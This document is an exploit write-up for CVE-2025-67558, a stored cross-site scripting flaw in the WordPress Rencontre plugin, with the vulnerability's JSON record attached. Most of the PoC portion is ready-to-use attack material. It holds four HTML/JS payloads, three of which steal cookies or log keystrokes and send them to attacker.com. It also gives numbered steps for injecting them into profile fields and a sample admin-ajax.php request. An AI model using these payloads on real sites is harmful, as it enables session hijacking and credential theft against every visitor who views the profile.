CVE-2025-67558

<!-- CVE-2025-67558 PoC - Stored XSS in Rencontre Plugin --> <!-- Target: WordPress Rencontre Plugin <= 3.13.7 --> <!-- Payload 1: Basic Script Injection --> <script>alert('XSS Vulnerability Confirmed')</script> <!-- Payload 2: Cookie Stealing --> <img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"> <!-- Payload 3: Session Hijacking --> <svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> <!-- Payload 4: Keylogger --> <script>document.addEventListener('keypress',e=>fetch('https://attacker.com/klog?k='+e.key))</script> <!-- Exploitation Steps: --> <!-- 1. Register/Login to WordPress site with Rencontre plugin --> <!-- 2. Navigate to profile settings/edit page --> <!-- 3. Inject one of the above payloads into profile fields --> <!-- 4. Save the profile --> <!-- 5. When any user views the profile, the XSS will execute --> <!-- HTTP Request Example: --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=rencontre_profile_save&pseudo=attacker&description=<script>alert(document.domain)</script>

{"cve": {"id": "CVE-2025-67558", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:32.150", "lastModified": "2026-04-27T18:16:42.943", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jacques Malgrange Rencontre rencontre allows Stored XSS.This issue affects Rencontre: from n/a through <= 3.13.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/rencontre/vulnerability/wordpress-rencontre-plugin-3-13-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}